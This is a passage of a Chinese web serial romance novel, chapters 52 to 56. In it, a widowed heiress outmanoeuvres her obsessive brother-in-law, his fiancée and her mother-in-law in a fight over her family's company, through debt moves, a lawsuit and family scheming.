“阿慎这个人最重名声,也最护着家里人。看到这种有损陆家颜面的照片,他一时冲动,对我们赵家发难也是难免的。我能理解,毕竟……他是为了堵住悠悠众口。”
她顿了顿,眼神中流露出一丝恰到好处的落寞。
“只是我那闺蜜实在不懂事,她本意是想替我这个‘未婚妻’抱不平,觉得阿慎对你太照顾了些,才气晕了头做出这种错事。现在阿慎为了给你清名,差点把我们赵家逼上绝路。我今天来,就是想求姐姐看在大家都是亲戚的份上,能在阿慎面前替我们赵家说句好话。”
第五十二章 带病上阵,截胡陆慎
苏亦姝靠在枕头上,看着赵西双那张满是“诚恳”的脸,心底泛起一阵冷意。
好一个赵西双。
这番话表面是在道歉,实则句句**。
第一,她在提醒苏亦姝:陆慎护着她,只是为了“陆家的名声”,不是为了情份。
第二,她在强调她的身份:她是陆慎的未婚妻,是“家里人”,而苏亦姝只是个惹麻烦的。
第三,她把所有的恶行都推给了“不懂事的闺蜜”,把自己摘得干干净净。
苏亦姝神色淡然,声音虽然虚弱却透着一股拒人千里的疏离。
“赵小姐言重了。陆慎要做什么,从来不是我能左右的。赵小姐若是要求情,怕是找错人了。”
“亦姝姐,你千万别这么说。”赵西双亲昵地想要去握苏亦姝的手,却被苏亦姝不着痕迹地避开了。
赵西双也不尴尬,只是温婉地笑了笑。
“我知道你还在生我的气。其实爷爷和伯母刚才也说了,阿慎就是脾气急,等我和阿慎订了婚,大家就是一家人了。到时候我一定亲自下厨,请姐姐……不对,应该是嫂子吃饭,咱们把这些不愉快都揭过去。”
说完,赵西双站起身,姿态放得很低,微微欠身。
“补品我留下了,姐姐好好养身体。我就不在这儿打扰姐姐清静了,阿慎那边……还请姐姐多担待。”
直到赵西双带着人走出病房,苏亦姝眼底的讽刺才彻底晕染开来。
“一家人?”
苏亦姝看着桌上那束百合,只觉得刺眼。她猛地伸手,将那束昂贵的花一把扫落在地。
她怎么会听不出赵西双的潜台词?
赵西双是在告诉她:陆慎搞垮赵家只是在发泄情绪,但这并不影响陆赵两家的联姻,她苏亦姝,永远只是那个被陆家锁住名分的、见不得光的大嫂。
苏亦姝大口喘着气,由于情绪波动,手背上的输液管又开始回血。
就在这时,病房门再次被推开。
陆慎一身戾气地站在门口,目光在触及地上散落的百合花和苏亦姝发青的脸色时,瞳孔骤然一缩。
“她来过?”陆慎的声音压抑着怒火,几步跨到床边。
苏亦姝闭上眼,连一个字都懒得施舍。
这种无声的拒绝,比任何恶毒的咒骂都更让陆慎疯狂。
“苏亦姝,说话!”
陆慎猛地俯下身,双手撑在她身体两侧,强烈的压迫感瞬间将她笼罩。
他眼底浮现出细碎的血丝,“我动了赵西双引以为傲的一切,你就一点反应都没有?”
苏亦姝睁开眼,自嘲地勾起唇角,眼底是一片死寂的荒芜。
“反应?你想要什么反应?”
她声音沙哑,冷漠又疏离,“陆慎,你搞垮赵家,是因为她惹了你,是因为你觉得陆家的面子受损。别把这种令人作呕的‘冠冕堂皇’扣在我的头上。”
“你就这么想的?”陆慎低吼。
苏亦姝看着他,满目讥讽。
陆慎呼吸一滞,心脏像是被一只无形的手狠狠攥住。
他看着苏亦姝,看着她眼底那化不开的怨毒。
“恨我也好。”陆慎突然低笑出声,笑声中带着令人毛骨悚然的偏执。
他伸手,指尖颤抖着划过她冰凉的脸颊,“苏亦姝,苦果亦是果。只要你还愿意跟我说话,只要你这双眼里装的是我,哪怕是恨,我也甘之如饴。”
他宁愿看她疯狂地咒骂自己,也不愿看她像一截枯木般无动于衷。
苏亦姝猛地挥开他的手,力气大得连带着输液架都发出一声刺耳的碰撞声。
“陆慎,你真让人恶心。”
陆慎不怒反笑,他直起身,居高临下地看着她,眼底的疯狂逐渐沉淀成一种深不可测的阴鸷。
“恶心也得受着。”他整理了一下纹丝乱的袖扣,语气恢复了惯常的冷静与残忍。
“赵西双不是觉得她高人一等吗?明天一早,我会让她去苏氏集团大门口跪着。她怎么羞辱你的,我就让她千倍万倍地还回来。”
苏亦姝别过脸,“那是你们的事,别扯上苏氏。”
“这可由不得你。”陆慎俯身,在她耳边吐气如兰,说出的话却字字诛心。
“我要让全江城的人都知道,动了你苏亦姝,是什么代价。我要让你这辈子,除了待在我身边受我庇护,再无第二个去处。”
他就是要断了她所有的后路,让她哪怕踏出病房一步,看到的也全是写着“陆慎”名字的囚笼。
陆慎离开后,病房里重新陷入死一般的寂静。
苏亦姝死死咬着唇,直到尝到了一丝血腥味。
她拿起手机,翻看着陆钦留下的那份对赌协议,指甲深深陷入掌心。
陆慎想让她成为笼中鸟,想让全世界都知道她是他的附属品。
但他算错了一件事——苏亦姝从来不是为了被救赎而活着的。
苏亦姝盯着手机屏幕,拨通
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了一个号码。
“我要启动对赌协议的第二阶段。”苏亦姝的声音冷静得像一潭死水,完全听不出半点高烧未退的虚弱。
“不管陆慎现在给苏氏注了多少资,我要在明天天亮之前,把这些资金全部转化为苏氏的定向负债。”
电话那头的人显然吃了一惊。
“苏小姐,这样做虽然能让陆慎无法直接吞并苏氏,但您自己也会背上巨额债务。一旦苏氏撑不住,您可能会面临牢狱之灾。”
“如果不这样做,苏氏就会变成陆慎手里的一把刀,专门用来割我的肉。”苏亦姝眼神决绝,“照我说的做。另外,帮我联系‘那位’……”
挂断电话后,苏亦姝又冷冷地看向窗外。
陆慎说明天要让赵西双去苏氏门口跪着?
他以为这是在帮她出气,实际上是在把苏氏架在火上烤。
如果赵西双真的跪了,全江城的唾沫星子都能把苏氏淹死——“寡嫂勾引小叔子,逼迫名媛下跪”,这样的头条足以毁掉苏氏未来十年的声誉。
陆慎不在乎名声,他在乎的只有她这个“人”的归属权。
但他不在乎,她在乎。
第二天一早。
苏氏集团大厦门口,已经**了大批闻风而动的媒体。
陆慎手下的黑衣保镖清一色站成两排,气场肃杀。
赵西双穿着一身黑色的素裙,脸色惨白地站在台阶下。
她怎么也没想到,陆慎竟然逼着她给苏亦姝下跪!她赵家大小姐的脸面,这么被他践踏!
闭上眼睛,想到陆慎的威胁,她心中好恨!
这时,一辆低调的黑色轿车突然破开人群,稳稳地停在了公司正门口。
车门打开,苏亦姝在一身病号服外裹了一件宽大的黑色大衣,在方思荷的搀扶下,一步步走下车。
她脸色依旧苍白,但脊背挺得笔直。
苏亦姝走到赵西双面前,在众目睽睽之下,伸手托住了赵西双的胳膊。
赵西双愣住了,眼底满是复杂。
“你……”
“赵小姐这大礼,我受不起,苏氏也受不起。”
苏亦姝的声音不大,却足够让周围的摄像机录得清清楚楚。
她转过头,看向那些陆慎派来的保镖,眼底划过一抹讥讽。
“告诉陆慎,苏氏是开门做生意的,不是开灵堂办丧事的。如果他想看人下跪,回他自己的擎天去,别在我家公司门口脏了地砖。”
第五十三章 老宅博弈,苏亦姝的反击
陆慎赶到苏氏大厦时,看到的正是这一幕。
苏亦姝站在猎猎风中,像一朵开在悬崖边的带刺玫瑰,脆弱却锋利。
她不仅救了赵西双,还顺带借着记者的镜头,宣布了苏氏将独立运行,不再接受陆氏任何“无偿捐赠”的消息。
这意味着,陆慎之前用来拿捏她的那些经济手段,被她彻底化解成了“正常的商业博弈”。
陆慎大步流星地走过去,一把拽住苏亦姝的手腕。
“苏亦姝,你在玩火。”他压低声音,眼底汇聚着愤怒。
苏亦姝忍着手腕的剧痛,仰起头,对着陆慎露出了这几天来第一个真心的笑容,却也冷得彻骨。
“陆慎,你教过我的,想要不被人掌控,就要先学会狠心。你给的‘脸面’,代价太大,我接不起。”
她凑近他,用只有两个人的声音说道:“赵西双欠我的,我会自己拿回来。而你欠我的……陆慎,只要我还活着一天,我就永远不会让你如愿。”
陆慎看着她那双充满战意的眼睛,诡异地感到一种变态的兴奋。
这才是他看上的女人。即使身处深渊,也要反咬一口的、最烈的玫瑰。
赵西双看着陆慎,清晰地看到,他从来到现在,眼里只有苏亦姝。
这一刻,她没有再怀疑,而是十分确定,陆慎喜欢苏亦姝!
意识到这个之后,赵西双双手紧紧攥着。
她不甘心,很不甘心!
看向苏亦姝,清晰看到,苏亦姝看向陆慎的眼底,除了恨,没有其他的了……
这叫赵西双眼眸一动,很快便敛下眼睫。
黑色迈巴赫驶入陆家老宅的雕花铁门,车厢内的气压低得让人窒息。
苏亦姝靠在车窗边,脸色依旧苍白如纸,手背上的**还泛着青紫。
陆慎坐在她身侧,目光沉沉地盯着她,仿佛要将她看穿,却始终一言不发。
两人一进大厅,迎接他们的便是陆老爷子摔在茶几上的一只古董茶盏。
“啪!”
碎片四溅,滚烫的茶水溅湿了地毯。
“陆慎,你真是越来越出息了!”
陆老爷子气得胸口起伏,指着陆慎的鼻子骂道,“让赵家那个丫头去苏氏门口下跪?你这是要把陆赵两家的脸面都撕下来踩在地上吗?你知不知道今天多少人在看笑话!”
二房一家坐在旁边,陆子谦阴阳怪气地插嘴。
“是啊阿慎,虽然咱们陆家势大,但做人留一线。你为了……某些私人恩怨,这么羞辱赵家,传出去以后谁还敢跟我们陆家合作?”
面对满屋子的指责,陆慎连眼皮都没抬一下。
他慢条斯理地解开西装扣子,在大厅的主位沙发上坐下,双腿交叠,姿态狂妄至极。
“私人恩怨?”
陆慎冷笑一声,目光锐利如刀。
“赵西双敢让人在外网散布谣言,动摇陆家声誉,我不让她跪,难道还要请她喝茶?爷爷,商场如战场,斩草不除根,春风吹又生。赵家既然敢伸爪子,我就得给他们剁了。”
“你——!你这是强词夺理!”陆老爷子气结,“你这么做,只会让陆家树敌!”
“若是爷爷觉得我处事手段太过狠辣,不适合坐在这个位置上……”
陆慎漫不经心地理了理袖口,语气凉薄。
“那正好,董事会那边一直有人对我不满。这陆家家主的位置,我卸任便是。二叔不是一直想坐吗?给他好了。”
此话一出,大厅瞬间死寂。
陆子谦眼底闪过一丝贪婪的狂喜,但很快被恐惧压下。
现在的擎天集团早已被陆慎清洗得铁桶一般,他就算坐上去,也只会是个被架空的傀儡,甚至可能被陆慎玩死。
“胡闹!”陆老爷子狠狠瞪了陆慎一眼,气势瞬间弱了下去,“动不动就提卸任,你是想气死我吗?”
陆慎嗤笑一声,不再说话。他知道,这帮人离不开他,又怕他。
见拿陆慎没办法,陆老爷子转头看向站在一旁、摇摇欲坠的苏亦姝。
原本严厉的目光在触及她病弱的脸色时,缓和了几分。
“亦姝啊。”老爷子叹了口气。
“今天这事儿,虽然起因在你,但你最后去门口把人扶住了,这做得很好。算是保全了我们陆家的一点体面,也显得你有大局观。”
苏亦姝低着头,适时地咳嗽了两声,声音虚弱。
“爷爷过奖了,我只是不想让陆家因为苏氏而蒙羞。”
“嗯,是个懂事的。”老爷子
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点点头,“不过,阿慎和赵丫头的订婚宴迫在眉睫,原本我是想让你来操持的,毕竟你是长嫂,懂规矩。但看你这身体……”
“咳咳……”苏亦姝捂着胸口,身形晃了晃,连忙扶住旁边的沙发。
陆慎见状,手指微动,但是却又硬生生的克制住了。
胸腔的烦躁让他看上去越发的冷厉。
苏亦姝抬起头,满眼歉意。
“爷爷,我这身体确实不争气。医生说我心肺受损,需要静养,恐怕……没精力帮小叔子筹备订婚宴了。这种喜事,若是让我这个病秧子沾手,也不吉利。”
她这一招以退为进,理由完美得让人挑不出刺。
老爷子沉吟片刻,目光转向了一旁一直没说话的程丽梅。
“既然亦姝身体不好,那这件事,还是老大家的你来负责吧。毕竟你是阿慎的亲妈,这事儿你最上心。”
程丽梅脸色一僵。她原本是想把这苦差事甩给苏亦姝,好借机挑刺折磨她,没想到兜兜转转又回到了自己手里。
可老爷子发话,她不敢不从,只能咬牙切齿地应下。
“是,爸。我会好好操办的。”
就在这时,陆慎的手机突然震动起来。
是周轩打来的紧急电话。
陆慎接起,听筒里传来周轩焦急的声音。
“陆总!不好了!苏小姐将苏氏集团名下所有优质资产进行了定向抵押,换取了巨额的高息债务!现在苏氏的负债率已经飙升到了200%!如果我们现在强行吞并苏氏,这些债务就会立刻转嫁到擎天头上!”
陆慎握着手机的手猛地收紧,指节泛白。
他缓缓转过头,看向坐在对面、看似虚弱无害的苏亦姝。
苏亦姝也正看着他。那双清冷的眸子里没有丝毫畏惧,只有一种玉石俱焚的决绝。
她用眼神告诉他:陆慎,你想吞了苏氏来困住我?那我就把它变成一座废墟。你要吗?
陆慎挂断电话,胸腔里翻涌着滔天的怒火,可这怒火烧到最后,竟化作了一抹无可奈何的苦笑。
“好……很好。”
陆慎突然笑出了声,笑声低沉,回荡在大厅里,让所有人都感到莫名其妙且毛骨悚然。
“阿慎,怎么了?”
第五十四章 人心隔肚皮,疯子的妥协
所有人的目光都汇聚在陆慎身上,不明白这位向来喜怒不形于色的冷血人,为何会在这种压抑的对峙中突然发笑。
那笑声低沉,透着一股令人毛骨悚然的荒凉。
苏亦姝站在一旁,眼睫低垂,在眼底落下一片阴翳。
她脸色无喜无悲,甚至透着一种透明的虚弱。
她心里清楚,陆慎应该是收到了周轩的消息,知道了她做的定向抵押。
知道就好,就怕你不知道。
“阿慎,发生什么事情了?”老爷子皱着眉头,眼底少有地露出几分不悦,手中的核桃转得咔咔作响。
陆慎看了眼苏亦姝,然后说道:“没事,只是公司那边的一个项目出了点纰漏。本来准备收入囊中的一家企业,突然全面负债,变成了一块咬不动的烂骨头……”
“还有这样的事情?”老爷子冷嗤一声,浑身散发着久经上位者的威压,“那明显是想把债务转移到擎天这边来。哼,倒是没想到,如今还有人敢算计到你头上来。”
苏亦姝垂下的双手微微收紧,指甲深深掐入掌心。
她在自救,也在自残。
“阿慎,公司的事情,你看着办。”
老爷子说着,目光意有所指地朝坐在一旁佯装喝茶的陆子谦看了眼,“只不过,擎天终究是陆家的,还是要自家人看着比较好。放心,不管内部怎么闹,自家人心都是往一处使的。”
这番话,明着是在劝和,实则是在替二房一家谋求重回公司权力中心的福利。
陆慎嘴角挂起一抹讥讽的冷笑。自家人?
“不见得……毕竟,人心隔肚皮。”
陆慎面色冷冽,语速极慢,字字诛心,“我又不是没见过,亲爹妈都靠不住,还指望靠其他人?嗤……”
这话一出,原本端坐着的程丽梅脸色瞬间惨白,手中的佛珠猛地一抖。
陆慎恨她,她是知道的。
当年,她确实不想要他。把对自己丈夫所有的怨恨,都都宣泄在了他的身上。
甚至,这么多年来,几乎都忘记了还有这么一个儿子,所有的心思都在陆钦身上。
只是,谁也没想到,最后陆家的掌权人,竟然落到他身上……
这要是她为什么在陆慎掌权之后,处处受限。因为,这个儿子根本就不待见她这个亲妈。
老爷子脸色立即冷了下来。
老爷子脸色彻底黑了下来。就在他准备呵斥陆慎目无尊长时,苏亦姝突然开口了。
“爷爷,我身体不舒服,想先回去了。”
她的声音细弱,却恰到好处地打断了这剑拔**张的气氛。老爷子这才反应过来,看向苏亦姝,见她额头渗出细汗,身形摇摇欲坠。
“亦姝,你住老宅吧,有人照顾。一个人住外面,万一有个什么事情……”老爷子缓了语气,看上去是关心。
“谢谢爷爷,不用了。”苏亦姝拒绝得干脆,毫无转圜余地,“我朋友方思荷跟我一起住,她能照顾我。”
“方家那丫头确实不错,那行吧。我让司机送你……”
“思荷已经来接我了,就在门口。”苏亦姝微微欠身,“爷爷,我先走了。”
她转身,动作极其缓慢地往外走。
陆慎死死盯着她的后背,眼神里翻涌着疯狂的戾气与无奈。
陆子谦的儿子陆域此时突然幽幽地开口:“大嫂一个人……也挺难得。其实当初大哥在世时,对大嫂是真好,我常见大哥变着法子逗大嫂开心,买各种礼物,甚至亲手下厨。真不知怎的,后来竟变成了这样……”
陆域这话看似在感叹,实则是一把生了锈的钝刀,直戳陆慎的心窝——他在提醒所有人,苏亦姝是“大嫂”,是陆钦的女人。
陆慎的眼神瞬间阴鸷到了极点,周身气压降至冰点。
程丽梅紧紧攥着佛串,指节泛青。
她想起陆钦对苏亦姝的痴迷,想起自己为了让儿子“清醒”而做的那些离间。
她绝不后悔。她的儿子,绝对不能一颗心落在一个女人身上……
陆家老宅外的盘山公路上,黑色的迈巴赫如同一道闪电,轰鸣着掠过雨后的路面。
方思荷载着苏亦姝,车速并不快,却在拐角处被黑色迈巴赫强行逼停。
“亦姝,是陆慎!”方思荷惊恐地看着后视镜。
车窗被扣响,陆慎那张阴沉的脸映在玻璃上。苏亦姝闭了闭眼,推门下车。
冷风瞬间灌进领口,她剧烈地咳嗽起来,单薄的身影在风中摇摇欲坠。
陆慎大步走过来,一把攥住她的手腕,将她死死抵在车身上。
“苏亦姝,你真狠啊。”陆慎俯身,温热的呼吸喷洒在她的鼻尖,语气却冷得渗人,“为了跟我断干净,你宁愿背上上千亿个亿的债务,宁愿毁了苏氏?你就这么恨我?”
苏亦姝仰起头,对上他那双布满血丝的眼,嘴角溢出一抹凄凉而嘲讽的笑。
“陆慎,你不是想要苏氏吗?去拿啊。”
“你以为我在乎那点钱?”陆慎低吼,声音里透着前所未有的
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颓败。
他一直以为,只要掌握了权势,只要能把她留在视线范围内,总有一天她会回头。
可他忘了,苏亦姝从来不是那种依附凌霄花而生的藤蔓,她是宁可折断也不低头的傲骨。
“好……既然你想要苏氏独立,我放手。”
陆慎突然松开了手,整个人像是被抽走了精气神,声音沙哑得厉害。
“周轩已经去撤销收购预案了。那些债务,你自己扛。苏亦姝,没有我的庇护,我看你能撑多久。”
苏亦姝强撑着站直身体,冷冷道:“就算死在外面,也不劳陆总操心。”
她转身上车,没再回头看一眼陆慎。
回到公寓,苏亦姝在方思荷的照料下沉沉睡去。梦里全是碎裂的灵堂和陆慎那双偏执的眼。
而此时的赵西双,却坐在赵家大宅里如坐针毡。
由于陆慎突然撤销了对苏氏的收购,原本准备看戏的赵家反被架在了火上。
赵西双为了讨好陆老爷子而割让的那5%的股份,如今不仅没换来陆慎的好脸色,反而让赵氏在南城的项目陷入了停滞。
“西双,你不是说陆慎让你去苏氏道歉就会重新合作吗?”赵老爷子铁青着脸坐在首位,“可现在阿慎不仅没收那份股份,还扬言要撤资!你到底是怎么办事的?”
“爷爷,我……”赵西双咬着唇,心里恨毒了苏亦姝。一定是那个狐狸精在老宅说了什么!
就在这时,赵西双的手机震动了一下,是一封来自苏氏集团的律师函。
苏亦姝不仅没有因为债务而倒下,反而以苏氏法人的身份,起草了关于“赵氏集团涉嫌恶意诽谤及侵害个人名誉权”的诉讼。
要求赵西双在三日内,公开发表道歉声明,赔偿金额不高,但要求却极其刁钻——必须在江城最大的报纸头版刊登。
“她疯了吗?她现在负债累累,竟然还有心思跟我打官司?”赵西双尖叫道。
“她不是疯了,她是想要借你的名声,给苏氏拉投资。”
赵老爷子冷冷地看着孙女,“一旦你公开道歉,就坐实了是赵家在搞鬼,苏氏反而会变成受害者,那些原本观望的投资人为了向陆慎示好,一定会疯狂注资苏氏。”
赵西双瘫坐在椅子上。
她原以为苏亦姝是软弱的寡嫂,却没发现,那个女人一旦狠下心来,利用起陆慎的权势来,比谁都顺手。
“爷爷,我不能道歉……如果我道歉了,我跟陆家的婚约就真的保不住了。”
第五十五章 婆婆的施压
在家休息了三天,苏亦姝的病也好了。
眼看着苏振东回来的日子也没几天了,苏亦姝决定去公司。
“诶,你这身体还没好透呢,这么着急去公司做什么?在家休息。”方思荷拉着她的胳膊。
苏亦姝笑着说道:“已经全好了,再不去公司,我感觉身上都要长毛了。而且,公司还有不少的事情等着我去忙呢。再一个,苏振东,这不马上要出来了吗?”
方思荷一愣,有些诧异。“半个月的时间也太快了吧……”
“可不是,所以,我得抓紧时间。”
方思荷看着苏亦姝,有些心疼。
“亲爱的,要不,我让我哥帮你吧。我哥虽然有些烦人,但是能力还是不错的……”
苏亦姝连忙说道:“别别别,我自己能行。”
绝对不能麻烦方华睿,不然,这人情欠的,她难受。
方思荷也知道她的性格,便没再说了。
苏亦姝来到公司,海绵看到她,立即跟着进办公室。
“苏总,总部那边每天都好几个电话打来,都是找你的。总部那边,说已经顶不住了,好多人都提出离职了。而且,再这样下去,等不了两天,估计苏氏就……”海绵有些担心,若真是这样,就算分部这边再厉害,也会受到影响。
苏亦姝脸上没有多少紧张之色,说道:“你去回总部那边,我下午过去。”
“好。”
苏氏分部,总裁办公室。
苏亦姝合上手中的报表,还没来得及喝口水,办公室的门就被推开了。
程丽梅走在前面,一席暗红色的旗袍衬得她雍容华贵,只是眉宇间带着掩不住的戾气。
赵西双跟在后面,手里提着几盒名贵的燕窝,低眉顺眼,活脱脱一个受了委屈的小媳妇。
“亦姝,我来看看你,身体恢复得怎么样了?”
程丽梅坐到沙发上,虽是关心,语气里却透着一股不容置疑的威压。
苏亦姝神色淡淡,揉了揉太阳穴。
“差不多都好了,劳妈记挂。只是公司现在一团糟,我这心……实在安不下来。”
赵西双赶忙上前,将礼品放下,语气诚恳得听不出半点虚假。
“亦姝姐,都是我不对。是我没管好手下的人,才让那张照片流出去,害得苏氏被流言蜚语攻击,也害得你生了一场大病。我今天来,是真心求你原谅的。”
苏亦姝看着她,心底冷笑。
赵西双这演技确实炉火纯青,若不是见过她那副怨毒的嘴脸,自己怕是也要被骗了。
程丽梅见状,接过话头:“亦姝啊,西双这孩子心肠软,那件事确实是个意外。你看,她都亲自登门道歉了,你那个控告……是不是就撤了?大家以后都是一家人,闹上法庭,丢的还是陆家的脸。”
苏亦姝没有立即回答,而是长叹了一口气,将电脑屏幕转过去,对着她们。
“妈,不是我不肯放手。您看,这是总部刚发来的报告。”
苏亦姝指着那跳水的股价和满屏的辞职信,眼眶微红,声音沙哑。
“因为那张照片,苏氏的声誉毁于一旦,合作伙伴纷纷撤资,员工们觉得公司没前途,跑了一大半。现在的苏氏,背着上千亿的债,已经是名存实亡了。”
她看向赵西双,眼神里满是委屈与为难。
“赵小姐,我也想原谅你。可我要是撤了诉,我怎么对得起苏氏上千名员工?怎么对得起我那还在看守所、等着出来的父亲?董事会的人都在盯着我,说如果不给公司一个交代,就要我以死谢罪。”
“你——!”程丽梅脸色一沉,语气重了几分。
“苏亦姝,你别跟我在这里叫苦。苏氏虽然困难,但只要陆家拉一把,总能活过来。可如果你非要揪着西双不放,那就是在打我的脸,也是在毁阿慎的婚事!你确定要为了那点名誉,跟陆家彻底闹翻?”
这已经是明晃晃的威胁了。
苏亦姝看着程丽梅那副高高在上的嘴脸,心里最后一丝对长辈的敬意也烟消云散。
她缓缓站起身,走到窗边,背影显得单薄而决绝。
“妈,您这话说得我心寒。”
苏亦姝转过头,眼里噙着泪,嘴角却勾起一抹惨淡的笑。
“陆钦才走多久?他在的时候,总跟我说,妈是最心疼他的,也是最护着我的。他说陆家是我的家,无论发生什么,都有他,有您……”
提到陆钦,程丽梅的脸色变了变,那是她心尖上的肉,也是她这辈子唯一的软肋。
“可现在,陆钦没了。”苏
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亦姝声音陡然拔高,透着一股绝望的狠劲。
“赵小姐做错事,害得苏氏破产,害得我声名狼藉,妈不仅不帮我,反而逼着我忍气吞声。我想,陆钦在泉下若是知道了,恐怕也会心寒得睡不着觉吧?”
“住口!别提陆钦!”程丽梅猛地站起来,声音有些尖锐。
“为什么不提?”苏亦姝步步逼近,眼神凌厉得让程丽梅下意识后退。
“妈,既然苏氏保不住了,我这个‘陆家大嫂’又成了全城的笑柄,我也没什么好活的了。等苏氏倒闭那天,我就去下面陪陆钦。”
赵西双在一旁听得心惊肉跳,这苏亦姝竟然玩起了**式威胁?
苏亦姝盯着程丽梅,一字一顿,带着令人毛骨悚然的疯狂。
“到那时候,我会把这段日子受的委屈,把陆家是如何为了保全名媛而逼死儿媳的事情,一桩桩、一件件都告诉陆钦。甚至,我会告诉整个江城,我是被谁逼死的!妈,您说陆钦要是知道了真相,会不会在地底下等着您去解释?”
“你……你这个疯子!”程丽梅气得浑身发抖,指着苏亦姝的手指都在颤抖。
她确实怕了。
她怕的不是苏亦姝死,而是怕苏亦姝真的带着这种怨气去陪陆钦。
她向来迷信,更因为陆钦的死心怀愧疚,苏亦姝这番话,精准地踩在了她的雷区上。
“我是疯了,被你们逼疯的。”苏亦姝冷笑一声,重新坐回办公位,恢复了那副清冷的模样。
“撤诉的事,免谈。除非苏氏的窟窿被补上,除非赵小姐能让那些撤资的客户全回来。否则,咱们就法庭见,或者……黄泉路上见。”
“好,好,苏亦姝,你真有出息!”程丽梅气得脸色铁青,抓起包,转头看向赵西双,“走!我们走!”
赵西双原本还想说点什么,可见程丽梅已经被苏亦姝的话吓到了,也只能恨恨地瞪了苏亦姝一眼,跟着跑了出去。
办公室内,重新恢复了死一般的寂静。
苏亦姝瘫坐在椅子上,全身的力气仿佛被抽干。她看着桌上那张苏氏全家福,眼神逐渐变得深邃。
陆钦,又拿你当了挡箭牌,不过,这是你欠我的。
如果不狠,我恐怕早就被吞的连渣都不剩了。
第五十六章 反向结盟,陆慎的狠
苏亦姝知道,接下来,赵西双不会就此罢休的。不仅是她,程丽梅也是。
所以,她要以更快的速度,更狠的手段来解决目前的处境。
不等下午,她立即动身去了苏氏总部。
此时苏氏集团总部,气氛压抑得令人窒息。
苏亦姝踏入大厅时,前台几人正围成一圈,压低声音议论着刚收到的那份“全员降薪”的假消息。
见到那道清冷的身影走近,几人吓得魂飞魄散,立即原地站好,脊背挺得笔直。
谁也不敢小觑这位苏家大小姐。
她是陆家大少夫人的名头或许在豪门圈里是个尴尬的标签,但在苏氏,她是苏氏的铁血手腕的苏总。
“苏总!”
苏亦姝脚步微顿,目光如利刃般扫过那几张略带慌张的脸,嗓音清冷:“你们站在这里,代表的是苏氏的门面。下次再让我看到这种散漫的样子,苏氏就不再需要门面了。”
没等几人反应,她已径直走向电梯。
电梯门合上的瞬间,大厅死寂一片,前台几人面面相觑,再不敢多出一口大气。
顶层助理办。
领班白海一看到苏亦姝,立刻带着团队围了上来,每个人的眼里都布满了红血丝。
“苏总,总部这边快撑不住了,离职潮已经蔓延到了核心部门。”白海的声音里透着浓浓的焦虑。
“白助理,辛苦了。”
苏亦姝一边推开会议室的大门,一边解开大衣扣子,眼神坚毅,“通知下去,所有核心高层管理人员,十分钟之后,会议室开会。”
会议室内,苏亦姝展现出了惊人的铁腕。
她当场公布了来自陆慎那份变相的“战略注资协议”,以此稳住人心。
更是在所有人忙着重组业务时,秘密签署了几份早已准备好的法律文件。
白海看着苏亦姝递过来的秘密协议,瞳孔骤缩——那是将苏氏核心技术的专利权和部分不动产股权,通过复杂的嵌套,转入了一个由方家注资的海外信托基金。
“苏总,您这是……”
“苏振东要出来了。”苏亦姝头也不抬,笔尖飞速滑过纸面,“白海,在苏氏,我很信任你……所以,我想知道你的想法。”
白海一愣,原本惊讶的眼眸渐渐涌上火热。“白海自然是跟着苏总。”
苏亦姝笑了。
处理完公司的一团乱麻,苏亦姝并未休息,而是驱车直奔陆家老宅。
程丽梅刚从苏亦姝办公室受了气,此刻冷哼一声,装作没看见。
苏亦姝没理会任何人,直接敲响了陆老爷子书房的门。
这一进去,就是一个小时。
书房外,陆家众人屏息凝神,试图从那扇厚重的红木门后听出点风声,却一无所获。
一小时后,门开了。
苏亦姝走出来,面色虽然依旧苍白,但眼神里却透着平静。
谁也不知道,苏亦姝跟老爷子说了什么?
程丽梅看着苏亦姝的背影,手中的佛串捏的死死的。她怎么也没想到,这个苏亦姝,竟如此难拿捏。
当初,就不该答应这桩婚事……
苏亦姝刚走到走廊拐角,一道戏谑的声音便响了起来。
“听说大嫂在苏氏分部把大伯母气得够呛,现在又来书房找爷爷讨救兵,这左右逢源的手段,真是让陆域佩服。”
陆域坐在轮椅上,手中把玩着一块手表,眼神阴冷。
他看不惯陆慎那嚣张得意的样子,更看不得苏亦姝在陆家如鱼得水。
之前,他被陆钦压下,现在,还被这两人压着。想到自己的腿,陆域恨不得活寡了这两人。
“我跟阿慎虽是兄弟,但阿慎那个人占有欲太强,他把苏氏推到风口浪尖,名义上是护着你,实则是在断你的后路,好让你乖乖回他身边当那个‘好大嫂’。”陆域故意压低声音,试图挑拨,“大嫂,你要是想脱身,找爷爷是没用的,他老人家眼里只有陆家的利益。”
苏亦姝脚步微停,侧头看向陆域,嘴角勾起一抹玩味的弧度。
“陆域,你费尽心思在我面前挑唆,不就是觉得陆慎最近因为我的事分了心,你想趁机在南城项目上分一杯羹吗?”
陆域的脸色僵了一瞬。
“你想借我的手拖住陆慎,那是你的野心。”
苏亦姝缓步走到他面前,压迫感十足。
“但如果你想以此来拿捏我,那你算错了。如果你真有本事,与其在这里阴阳怪气,不如帮我个忙,作为回报,我会让你在爷爷面前,得到你想要的那份‘看重’。”
陆域眼神微动,他是陆家二房,常年被打压,对权力的渴望让他瞬间嗅到了转机。
“什么忙?”
苏亦姝凑近他,声
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音极轻。“让陆慎跟赵西双尽早的订婚,在我婆婆面前,多夸夸他们两人多般配。”
“就这?”陆域显然有些诧异。
苏亦姝笑的有些玩味。“当然不止如此,我还要你……帮我拿到陆钦的部分遗产。”
陆域看着苏亦姝,半晌,发出一声低笑。“大嫂凭什么认为,我能帮你拿到?陆慎都做不到的事情,我能做到?”
“二弟就别自谦了,你的能力,我还是知晓的。若是你能帮我拿到部分的,随便哪一部分,我能让你重新回到擎天,并且,拿到南城的项目。”苏亦姝语气笃定。
陆域看着她,眼神变幻着,心里头也在快速掂量着。
“大嫂,以你跟陆慎的关系,你大可找他……”陆域还是有些不信。
“我跟他,没关系……若是你做不到,就当我没说……”苏亦姝转身准备离开。
陆域见状,立即说道:“大嫂,我答应你,但是,你怎么能给我保证?”
苏亦姝笑了。“就凭我,跟爷爷做了交易……”
陆域:……
与此同时,擎天集团顶层。
陆慎盯着监控屏上的画面,周身的气压已经降到了冰点。
画面中,苏亦姝先是进了老爷子的书房,出来后,竟然在走廊里跟陆域有说有笑,甚至交头接耳地密谋着什么。
“嘭!”
陆慎手中的红酒杯瞬间粉碎,暗红的液体顺着指缝流下,有些瘆人。
“她宁愿去找陆域那个废物合作,宁愿去找爷爷卖惨,也不肯回头求我一次。”陆慎咬着牙,眼底翻涌着扭曲的嫉妒。
他为了她,撤销了收购,抗下了董事会的压力,可她呢?她把所有人都算计进了她的棋局,唯独把他踢了出来。
周轩站在一旁,连头都不敢抬。
